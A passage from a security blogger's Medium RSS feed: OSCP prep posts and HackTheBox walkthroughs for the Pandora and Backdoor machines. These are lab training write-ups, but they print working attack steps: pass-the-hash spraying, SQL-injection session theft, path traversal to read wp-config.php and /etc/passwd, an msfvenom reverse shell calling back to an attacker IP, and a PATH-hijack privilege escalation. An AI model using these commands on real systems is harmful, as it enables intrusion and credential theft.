HTB</strong></p><p>In the following command we used text files for both usernames and passwords:</p><pre>./go_map_exec -uf usernames.txt -pf passwords.txt 10.10.11.227</pre><p>Screenshot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*MgPULX2LegU6rudF0MEE3Q.png" /><figcaption>Username and Passwords Text Files Used</figcaption></figure><p><strong>Sauna Machine HTB</strong></p><p>In the following command we passed the Administrator hash and got full access on SMB and WinRm:</p><pre>./go_map_exec -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e 10.10.10.175</pre><p>Screenshot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hfp1rygH206l5IQkGVB2bg.png" /><figcaption>Got Full Access with Administrator Creds over SMB and WinRm</figcaption></figure><p><strong>Explotion Machine HTB</strong></p><p>In the following command the username and password worked on RDP and SMB:</p><pre>./go_map_exec -u Administrator -p &quot;&quot; 10.129.23.204</pre><p>Screenshot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*b9-flkuARy-Ud5_dVATzbQ.png" /><figcaption>RDP and SMB Returned Positive Result</figcaption></figure><p><strong>Sauna Machine HTB</strong></p><p>In the following command we tested for more than one IP by specifying the range of IPs:</p><pre>./go_map_exec -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e 10.10.10.173-175</pre><p>Screenshot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*pYNTdt5KMCSsNUKu_zKZKw.png" /></figure><p><em>More examples can be found in the tool repository </em><a href="https://github.com/toneemarqus/Go_Map_Exec"><em>here</em></a><em>.</em></p><h3>Conclusion</h3><p>In the realm of network security, the right tools can be game-changers. Go Map Exec is that tool — a modern, versatile solution for credential spraying.</p><p>As we’ve seen, it addresses the shortcomings of outdated tools and offers an efficient, well-maintained alternative. With easy installation options and real-world demonstrations, it’s clear that Go Map Exec is a must-have for cybersecurity enthusiasts.</p><p>In an ever-evolving landscape, choose Go Map Exec to stay ahead, stay secure, and elevate your network security efforts. Download it, explore it, and empower your cybersecurity journey.</p><p><strong>!Happy hacking !</strong></p><p>Reach me always on LinkedIn <a href="https://www.linkedin.com/in/tonee-marqus-1002251b7/"><em>here</em></a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d4a6bfa49bae" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My OSCP Tools and Notes]]></title>
            <link>https://medium.com/@toneemarqus/my-oscp-tools-and-notes-1d977730c2f0?source=rss-6af85b26a57b------2</link>
            <guid isPermaLink="false">https://medium.com/p/1d977730c2f0</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[oscp-certification]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Tonee Marqus]]></dc:creator>
            <pubDate>Sun, 17 Dec 2023 13:29:16 GMT</pubDate>
            <atom:updated>2025-04-07T12:42:19.235Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*53Si9WmqPNAAs1u0" /></figure><p>Table of content:</p><ul><li>Introduction</li><li>Situations you might face</li><li>Tips</li><li>Conclusion</li></ul><h3>Introduction</h3><p>Welcome to my new blog :)) Here I’ll share essential tools, scripts, and personal notes that helped me succeed in the OSCP exam</p><h3><strong>Situations</strong></h3><p><strong>Situation number ONE</strong></p><p>Lets say you woke up early, its the day of the exam, you are confused, you started recon/enum process, but your confusion blinded your mind to scan UDP ports, you missed 20 points or maybe 40 if its AD!</p><p>I have used and updated a script that does the following to you:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1NZoUK6ZmTqp-n6-" /></figure><ul><li>RECON*</li></ul><ol><li>Quick scan for TCP ports, that will help you have quick results, for example you may discover port 80 open, and go to do some manual enumeration until the script finish.</li><li>Full TCP scan: the script here will do full TCP scan for all 65335 ports.</li><li>Full UDP scan so that will not miss to scan it.</li></ol><p>*ENUM*</p><ol><li>If HTTP/HTTPS server is discovered on port 80/443 or any other ports, it will run FFUF tool to fuzz the server and find directories, it used common list as default feel free to change it.</li><li>If port 161 SMTP was discovered, it will run snmpwalk against it, which may reveals some important information such as credentials.</li></ol><p><em>To get full result from snmpwalk, it’s </em><strong><em>very important</em></strong><em> to mention that you need to install snmp-mibs-downloader and comment the line they mention in this article </em><a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp"><em>HackTricks</em></a><em>.</em></p><p>3. If Port 445 SMB was discovered, it will run SMBmap against it to check for permissions.</p><p>Download the original version of the NmapAutomator <a href="https://github.com/21y4d/nmapAutomator/blob/master/nmapAutomator.sh"><em>here</em></a>. OR</p><p>Download my modified version, the update that i have done makes it faster and fit for OSCP. Download <a href="https://github.com/toneemarqus/Kali-Network-Pentesting-Tools/blob/main/nmapAutomator.sh"><em>here</em></a>.</p><p><strong>Situation number TWO</strong></p><p>Let’s say you just installed kali, and its empty, you need to prepare it and install tools and download other binaries that helps you in your pentesting task ;) , i have uploaded the binaries and tools i used in my journey <a href="https://github.com/toneemarqus/Kali-Network-Pentesting-Tools/tree/main"><em>here</em></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*J29pjODV1rrXnTlP" /></figure><p>to use it, here are the steps:</p><ol><li>clone it:</li></ol><pre>git clone https://github.com/toneemarqus/Kali-Network-Pentesting-Tools </pre><p>2. Change directory:</p><pre>cd Kali-Network-Pentesting-Tools</pre><p>3. Give permission and run prepare.sh:</p><pre>chmod +x prepare.sh &amp;&amp; ./prepare.sh</pre><p>the above script will update kali and install the following tools which are</p><ul><li>gedit</li><li>seclists</li><li>gobuster</li><li>go map exec</li><li>fish</li><li>terminator</li><li>go map exec (my tool for password spraying over network and AD)</li></ul><p>Unzip rockyou.txt to be ready to be used.</p><p>The other tools that are going to be downloaded contains tools that i used in my OSCP journey, for example privilege escalation tools, pivoting, Active directory tools, scanners, shells…etc.</p><p><strong>Situation number THREE</strong></p><p>In case you need my notes, I have uploaded them <a href="https://github.com/toneemarqus/OSCP-notes/blob/main/My-Notes"><em>here</em></a><em>.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3KOVk2--YQZAMFg7" /></figure><p>It is not step by step instructions, but it contains all the command that i used, just highlight, copy and past then finally run.</p><p><em>Please note that my note align with the situation number TWO tools that are downloaded with git clone, you will find each tool i used in my notes there.</em></p><h3><strong>tips:</strong></h3><ol><li>Use Hyper-V as host, X3 faster than VMware and Virtual Box if you are on windows (You might need Windows Pro to install Hyper-V).</li><li>Always consider that port 5985 is open on windows AD hosts! and use Evil-WinRM to pass username and password you found even if NMAP is showing it closed.</li><li>In the day of the exam, put all you tools that might need to upload to the target machine in <strong>one directory</strong> and run python http server and leave it there on port 80, so you will not need to stop the server and run it again somewhere else, which will save you some time.</li><li>Always use <a href="https://www.revshells.com/">https://www.revshells.com/</a> when trying to execute a reverse shell, you will only need to specify your kali IP and Port once, then you will have many reverse shells generated, make sure you try as many as possible!</li></ol><h3>Conclusion</h3><p>Preparation and the right set of tools are key to cracking the OSCP exam. These insights and resources are based on my personal experience and should provide a solid foundation for your exam preparation.</p><p>Remember you can always reach me on LinkedIn <a href="https://www.linkedin.com/in/tonee-marqus-1002251b7/"><em>here</em></a>.</p><p>!HAPPY HACKING!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1d977730c2f0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I passed OSCP in 60 Days]]></title>
            <link>https://medium.com/@toneemarqus/how-i-passed-oscp-in-60-days-4b9c5f6b5c58?source=rss-6af85b26a57b------2</link>
            <guid isPermaLink="false">https://medium.com/p/4b9c5f6b5c58</guid>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[oscp-certification]]></category>
            <dc:creator><![CDATA[Tonee Marqus]]></dc:creator>
            <pubDate>Sat, 04 Nov 2023 03:35:40 GMT</pubDate>
            <atom:updated>2023-12-23T00:19:52.253Z</atom:updated>
            <cc:license>https://creativecommons.org/publicdomain/mark/1.0/</cc:license>
            <content:encoded><![CDATA[<h3>My 60-Day Journey to OSCP</h3><h3>Hey! :)</h3><p>It’s not going to be a long and boring blog, but I will talk about how my OSCP journey started and how it was ended.</p><p>Content:</p><ul><li>My Background</li><li>Courses I Undertook</li><li>HTB Machines Experience</li><li>PWK course: pros and cons</li><li>The Exam</li><li>Tips for Aspiring OSCP Students</li><li>Conclusion</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LCrKfo6C7oD7wM0P" /></figure><h3>My background</h3><p>When I decided to go for OSCP, I was second year university student, doing a bachelor of information and communication technology (ICT) with major of cyber security.</p><p>Because of that, I didn’t need to start from scratch learning programming fundamentals or taking some network courses online such as Network+ etc.</p><p>the knowledge that I had before starting was as the following:</p><ul><li>Programming</li><li>Networking (CCNA)</li><li>Operating Systems</li><li>Information Security</li></ul><p>My biggest concern at that time was dealing with Linux which I was never used before, which leads me to the next section.</p><h3>Courses that I did</h3><p>Here are the course starting from the first one to the last one in order:</p><ul><li>Linux 101 (TCM Security) <a href="https://academy.tcm-sec.com/p/linux-101"><em>link</em></a></li><li>Practical Ethical Hacking (TCM Security) <a href="https://academy.tcm-sec.com/p/practical-ethical-hacking-the-complete-course"><em>link</em></a></li><li>The RedTeam Blueprint — A Unique Guide To Ethical Hacking <a href="https://www.udemy.com/course/the-redteam-blueprint/"><em>link</em></a></li></ul><p><strong>HTB machines</strong></p><p>I tackled around 38 machines from the TJ Null list <a href="https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit?pli=1#gid=1839402159"><em>Link</em></a>, documenting each with detailed walkthroughs on my Medium blog. Writing these walkthroughs in real-time significantly enhanced my learning process.</p><h3>PWK course pros and cons</h3><p>Pros:</p><ul><li>Comprehensive and up-to-date course material.</li><li>Supportive community on the Offsec Discord.</li><li>Professional and user-friendly exam environment.</li></ul><p>cons:</p><ul><li>For people like me in Australia, you will face some connectivity issues, the ms is always higher than 240, and when you are pivoting it might reaches 400, which makes it difficult to use tools such as Nmap, because it will take forever!</li><li>At the first day, you might feel lost in the offsec portal, but after few days you will be fine.</li></ul><h3>The Exam</h3><p>I started my OSCP at 05/09/2023 and booked the exam for 01/11/2023.</p><p>That’s around 55 days, at the days 54, all the course exercises and labs were done.</p><p>The reason that made me book the exam after only 55 days off the 90 days lab access is because if I did the exam after the 90 days and failed, I will need to wait additional 6 weeks to retake the exam! So doing my first attempt after 55 days was better decision for me, because if i failed, I still have one month lab access and I will only need to wait extra two week of the actual completion date of the certificate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/0*GgWvhgV8UT2MqVxv.gif" /></figure><p>At the days of the exam, I wasn’t nervous at all, my exam started at 11 AM, after 4 hours I pwned the AD set, and after additional two hours I pwned one of the three machines, here I realised that i just got 60 points, and with the 10 bonus points, I have 70 which are the passing points!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/0*HEx6tdoQ2S41amv1.gif" /><figcaption>HAPPY | HAPPY | HAPPY</figcaption></figure><p>Next I moved to the second machine and pwned it too, now I had 90 points, it was already 1 AM next day, I started the last machine, trying to find a way in until 5AM, but I think I was in a rabbit hole, then i decided to end my exam with my 90 points.</p><h3>Tips for Aspiring OSCP Students</h3><ul><li><strong>Document Everything</strong>: Write down every step of your journey. Sharing your experience on platforms like Medium not only solidifies your knowledge but also helps others.</li><li><strong>Self-Belief</strong>: Believe in your capabilities. The OSCP is challenging but not insurmountable.</li><li><strong>Strategic Approach</strong>: Start with a basic assessment of each machine. Often, the solution is simpler than it appears.</li><li><strong>Exam Strategy</strong>: After successfully compromising a machine, document every step meticulously, as you won’t have access post-exam.</li></ul><h3>Conclusion</h3><p>Remember, perseverance and a structured approach are key. If I could do it, so can you!</p><p>Feel free to reach out to me on LinkedIn: <a href="https://www.linkedin.com/in/tonee-marqus-1002251b7/"><em>Link</em></a></p><p>Good luck, and happy hacking! 🙂</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*QMfcJ8rOjR6e6lzU.jpg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4b9c5f6b5c58" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[ Pandora ] HTB Manual Walkthrough 2023 | OSCP Prep]]></title>
            <link>https://medium.com/@toneemarqus/pandora-htb-manual-walkthrough-2023-oscp-prep-7a99ccecab8e?source=rss-6af85b26a57b------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a99ccecab8e</guid>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[oscp-certification]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Tonee Marqus]]></dc:creator>
            <pubDate>Sat, 02 Sep 2023 08:53:27 GMT</pubDate>
            <atom:updated>2023-09-02T08:53:27.485Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hi everyone!</h3><p>Today, we have Pandora which is a Linux machine.</p><p>Here is the machine info:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5jojjU1ZszvvcTdLpp-asw.png" /><figcaption>Pandora HTB</figcaption></figure><h3># Reconnaissance</h3><pre>nmap -p- -T5 10.10.11.136 -v</pre><ul><li><strong>-p- </strong>scan all 65536 ports.</li><li><strong>-T5</strong> make the scan as fast as possible where (-T0 = slow and stealthy | -T1 = a bit more faster but still slow| -T2 = moderate speed | -T3 = Default speed | -T4 = fast but still can be a bit stealthy | -T5 = insanely fast and not stealthy at all).</li><li><strong>-v</strong> for giving feedbacks while scanning.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*siGcuG_RCAkLRQRV5aBubw.png" /><figcaption>Nmap port scan</figcaption></figure><p>We only have two ports open, 22 SSH and 80 HTTP, Let’s start with port 80 and see what we have:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RmdMIrHmahbxZDSeTubI5Q.png" /></figure><p>We have a simple website running on Apache HTTP server version 2.4.41.</p><p>After checking the website and trying to fuzz directories with gobuster, I wasn’t able to access anything that could help me exploit this machine. Then I remembered someone saying, ‘When you have only two ports open, do another Nmap scan!’ So, I decided to scan for UDP ports this time:</p><pre>nmap -p- -T5 10.10.11.136 -v -sU --max-retries 0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*Fz2BHUPG_RhwY-WQAkijIg.png" /></figure><h3># Enumeration</h3><p>Here, I discovered a new port, ‘161’, which is running an SNMP server. At this stage, I decided to use Nmap scripts:</p><pre>nmap -p 161 -sU -A -v 10.10.11.136</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*l2fjg6FrEHFdxDTlkPSQMg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*Xf4ikig57WO3Xd-k1yZpNw.png" /></figure><p>The information returned from port 161 leaked user credinials! Lets use it to connect via SSH:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*9qpYcuryJ17PdYQOaVNLPg.png" /></figure><p>Great! We are in.</p><h3># Privilege Escalation to Matt user</h3><p>The first tool I used was <a href="https://github.com/Cerbersec/scripts/blob/master/linux/linpeas.sh"><em>linpeas.sh</em></a>, you can download it and upload it using wget.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WZzp6o_1KGjJkpM6SSm6vQ.png" /></figure><p>Now we can run it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*5FpVZ7pRZPOz_LYeGT-qtg.png" /></figure><p>The first thing I noticed was this binary. When I tried to run it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*sZEuvZx_4sldDlKTqRzEtA.png" /></figure><p>Let’s use the username and password of ‘daniel’:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*OA4d1ZjSSP67tRfvRCHeqg.png" /></figure><p>I waited for the binary execution to end, but it didn’t, so I used CTRL + C.</p><p>Now we can go and check the file that we discovered:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*VASD0jACbwXbKwXxxqsd6A.png" /></figure><p>It looks like we have Pandora FMS server version 7.0 NG.742. To know more about Pandora, we can read <a href="https://pandorafms.com/en/network-monitoring/"><em>here</em></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*VyL0gNhTCGbhN9lWh3VHvA.png" /></figure><p>Pandora server usually uses port 80 on the machine localhost (127.0.0.1).</p><p>To access that port and service, we need to do SSH port forwarding:</p><p>To do that we need first to exit our current SSH session, and run this command:</p><pre>ssh -L 80:127.0.0.1:80 daniel@10.10.11.136</pre><p>Now if we access port 80 on our kali machine the traffic will be forwarded from port 80 from the target machine.</p><p>Let’s try to access Pandora from our browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kbKGKWc115GNROgYTwNdyg.png" /></figure><h3># Exploitation “Pandora”</h3><p>I started by looking for known exploits for Pandora FMS server version 7.0 NG.742 on Kali’s local exploit DB:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xw-NAzIiK9LDk12i_fzImQ.png" /></figure><p>I found one exploit that might work in our case, but I still didn’t have credentials to authenticate, and this exploit required us to be authenticated.</p><p>Here I moved to Google and found this.</p><p>This Python script performs SQL injection and retrieves session IDs of users who recently logged in. Let’s try it:</p><pre>python sqlpwn.py -t 127.0.0.1:80 </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*2q1s8UaAkHoQZGhZcMtkpw.png" /></figure><p>Now we have the admin session ID, we can go back to our first exploit that required a username and password. After checking it, we can use the session ID instead of a username and password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*60_KP_Gyl41vyeX1R5lfyw.png" /></figure><p>Now let’s set our netcat listener:</p><pre>nc -nvlp 5555</pre><p>Run the exploit:</p><pre>python 50961.py -t 127.0.0.1 80 -p q3teev35v4q0i097i3dnjs617m -s 10.10.14.25 5555</pre><p>If we go back to our netcat listener, we have a shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*WBAhUEJzTjObZ6OUtMut6Q.png" /></figure><p>We are matt user now.</p><h3># Privilege Escalation to Root</h3><p>Let’s start with improving our shell:</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>Let’s try to find users’ SUIDs:</p><pre>find / -perm -4000 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*fGv3m6y-C4t74YfcgOeKTA.png" /></figure><p>We have a binary called pandora_backup. Let’s try to run it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*ief1wtc-ssuMCJ2wA4K5Ww.png" /></figure><p>We don’t have permissions to do that, but I still needed to know what the binary is doing, so I used the ltrace command:</p><pre>ltrace  /usr/bin/pandora_backup</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*RLEVDLqAyv05fllZeQlcMw.png" /></figure><p>The binary is using tar to zip the backup files, but it’s not using the Absolut path, which means I put another tar somewhere else, and add that path to matt user $PATH.</p><p>Let’s start with creating fake tar binary:</p><pre>cd /tmp<br>echo &#39;/bin/bash;&#39; &gt; tar<br>chmod +x tar</pre><p>Now let’s add the /tmp directory to matt user $PATH:</p><pre>export PATH=/tmp:$PATH</pre><p>let’s run the backup binary again:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/477/1*R76kgxMJkmvHQM2Gzqdrmg.png" /></figure><p>We still didn’t get root shell, it’s mostely because we have jail shell.</p><p>To solve that we have two paths:</p><ol><li>Connect via SSH using matt user, we will need to new public key to the user.</li><li>Try to escape the jail.</li></ol><p>I chose the second path and went to look for ways to do that, here is what I used:</p><pre>echo &quot;/bin/sh &lt;$(tty) &gt;$(tty) 2&gt;$(tty)&quot; | at now; tail -f /dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*uZvXfEUvpKqDB24YoMec0A.png" /></figure><p>Now let’s run the backup binary again:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*a5RCwj5MJ9EG7KRNXmnfrg.png" /></figure><p>We are Root!</p><p>Grab your flags here:</p><p>user.txt</p><pre>cat /home/matt/user.txt</pre><p>root.txt</p><pre>cat /root/root.txt  </pre><p>! Happy Hacking !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a99ccecab8e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[ Backdoor ] HTB Manual Walkthrough 2023 | OSCP Prep]]></title>
            <link>https://medium.com/@toneemarqus/backdoor-htb-manual-walkthrough-2023-oscp-prep-dc96665e3b86?source=rss-6af85b26a57b------2</link>
            <guid isPermaLink="false">https://medium.com/p/dc96665e3b86</guid>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[oscp-certification]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Tonee Marqus]]></dc:creator>
            <pubDate>Fri, 01 Sep 2023 06:18:20 GMT</pubDate>
            <atom:updated>2023-09-01T06:18:20.371Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hi everyone!</h3><p>Today, we have Backdoor which is a Linux machine.</p><p>Here is the machine info:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KuIgK8UfLZrXZuq0v1kKqA.png" /><figcaption>Backdoor HTB</figcaption></figure><h3># Reconnaissance</h3><pre>nmap -p- -T5 10.10.11.125 -v</pre><ul><li><strong>-p- </strong>scan all 65536 ports.</li><li><strong>-T5</strong> make the scan as fast as possible where (-T0 = slow and stealthy | -T1 = a bit more faster but still slow| -T2 = moderate speed | -T3 = Default speed | -T4 = fast but still can be a bit stealthy | -T5 = insanely fast and not stealthy at all).</li><li><strong>-v</strong> for giving feedbacks while scanning.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*vLJ2BO_rt_UplHLwhrkr9Q.png" /><figcaption>Nmap port scan</figcaption></figure><p>We have three ports open, 22 SSH, 80 HTTP, 1337 waste.</p><p>Let’s run an Nmap script scan against these ports, ignoring port 22 for now:</p><pre>nmap -p 80,1337 -A -v 10.10.11.125</pre><ul><li><strong>-p </strong>here we specified only the open ports that we found in previous step, we separated the Nmap scan to two steps because we wanted to find the open ports first then move to scan what is running only the discovered ports which saves us some time.</li><li><strong>-A</strong> Enable OS detection, version detection, script scanning, and traceroute.</li><li><strong>-v</strong> for giving feedbacks while scanning.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*A8vLXFYkPri2UpoPOh1Mbg.png" /><figcaption>Nmap scripts scan</figcaption></figure><p>On port 80 we have a WordPress 5.8.1 installed on Apache httpd 2.4.41.</p><p>On port 1337, it looks like we have a dummy port, something is running there but Nmap can’t find it!</p><h3># Enumeration</h3><p>Let’s start from port 80 and have a look on the server, before doing that, let’s add <a href="http://backdoor.htb/">backdoor.htb</a> to /etc/hosts file:</p><pre>10.10.11.125    backdoor.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*0CQDkgk4r_m1d0IPvTPBaQ.png" /></figure><p>Now we move forword to use our browser:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d6tulA8awk8hygvwtM1bqA.png" /></figure><p>After exploring the website, I didn’t find anything interested, let’s use <em>wpscan </em>to enumerate the WordPress:</p><pre>wpscan --url http://backdoor.htb/ --disable-tls-checks -e ap --plugins-detection aggressive </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*FGTgZqW1CBEqZoDYnvKkSg.png" /></figure><p>Two plugins were discovered. If you don’t want to wait for the wpscan, you can use this link to find the plugins:</p><pre>http://backdoor.htb/wp-content/plugins/</pre><h3># Exploitation</h3><p>Anyway, the plugin that looks interesting is called “ebook-download” with directory listing enabled, after searching locally for an exploit, I found this:</p><pre>searchsploit ebook</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*c4fslb_fiYrXqPD29yyD2g.png" /></figure><p>If we open the exploit text file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*cNY-Di_Qx1_yVEBhey080w.png" /></figure><p>It looks like we can access files and perform directory traversal using this plugin. If we check the readme.txt related to the plugin, we will see that it’s version 1.1, which matches the exploit!</p><p>Let’s try it:</p><pre>http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VHRDjRoGxAZI1hSgz-j3Aw.png" /></figure><p>After using the exploit, the wp-config.php file was downloaded, the file contains the username and password for the MySQL database, but that still doesn’t help us too much, let’s try accessing /etc/passwd:</p><pre>http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../etc/passwd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HFGvUYsxqTILf8t3-xZYLg.png" /></figure><p>It looks like we have only one user called “user”, but that still doesn’t help us exploiting the target.</p><p>After connecting the pieces together and considering that we have port 1337 with an unknown server running there, and the access that we have to the target files, the only way left is to check the processes using their files that Linux stores in the /proc directory. This directory contains all files related to currently running processes.</p><p>Inside this directory, there is a file called ‘cmdline’, which stores the command that the user used to run the process. The way to access this file is like this:</p><pre>/proc/Process ID/cmdline</pre><p>Since we don’t know the process ID yet, we will need to fuzz the processes, to do that I used this bash script:</p><pre>i=0; while [[ $(curl -s &quot;http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/$i/cmdline&quot;) != *&quot;1337&quot;* ]]; do ((i=i+1)); done; echo $i</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*gYnpQ3ng2xbadHRa-5KO0Q.png" /></figure><p>Now that we know the process ID, let’s download the file and open it with a text editor:</p><pre>backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/849/cmdline</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t7O_SHVIQUzLXT5dWGGUfA.png" /></figure><p>Great! Now we know what is running on port 1337, it’s a gdbserver.</p><p>Next we can use Google to find any related exploits for the gdbserver, the most interesting one was this <a href="https://www.exploit-db.com/exploits/50539"><em>exploit</em></a></p><p>After downloading, let’s have a look:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*pnhwpEYWvXRTnjvliRK8MQ.png" /></figure><p>To make this exploit work, we need to prepare a reverse shell, then run netcat listener, and finaly run the exploit, let’s do that:</p><ol><li>prepare the reverse shell:</li></ol><pre>msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.25 LPORT=4444 PrependFork=true -o rev.bin</pre><p>2. Run netcat listener:</p><pre>nc -nvlp 4444</pre><p>3. Run the exploit:</p><pre>python3 50539.py 10.10.11.125:1337 rev.bin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/404/1*1oOCiNXcK3U2yDAgg0bOqg.png" /></figure><p>Now let’s return to the netcat listener:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*Ahk9LaBWBkF2eWDXFnhOvA.png" /></figure><p>Wow! We are in.</p><h3># Privilege Escalation</h3><p>Let’s start by improving our shell:</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>Now let’s run linpeas.sh to help us enumerate the target, download it <a href="https://github.com/Cerbersec/scripts/blob/master/linux/linpeas.sh"><em>here </em></a>and upload it using wget and python http server to the /tmp directory. Now run it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eiD_YpJ-r98xwcY2NbRtvg.png" /></figure><p>Linpeas suggested that screen might be vulnerable to privilege escalation. Here is more information about screen: <a href="https://www.gnu.org/software/screen/"><em>link</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZD4J5yjUCMCBp--XUKyZEA.png" /></figure><p>Let’s open the screen terminal, which is running as root. We need to know the user and the session and then execute a command like this to open it:</p><pre>screen -x [user]/[session id]</pre><p>From linpeas result we know the user is S-root, let’s use it to find the session ID, I tried many commands, but none of them gave me the seesion ID:</p><pre>screen -ls<br>screen -ls S-root/<br>screen -ls root/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*gGQR6wA0pX2-ZBwP4hAC-Q.png" /></figure><p>Here I decided to brute-force the session ID using a basic bash script:</p><pre>for ((c=1; c&lt;=100000; c++)); do screen -x root/$c; done</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/1*zi0kTTtM0vXZWrkL7_h4Ig.png" /></figure><p>But i had this error, to fix it we can use:</p><pre>stty raw -echo &amp;&amp; export TERM=xterm</pre><p>Now run the command again:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*F1p68bgYmpoTtuoa-bJOfQ.png" /></figure><p>As we can see we are root now!</p><p>Grab your flags here:</p><p>user.txt</p><pre>cat /home/user/user.txt</pre><p>root.txt</p><pre>cat 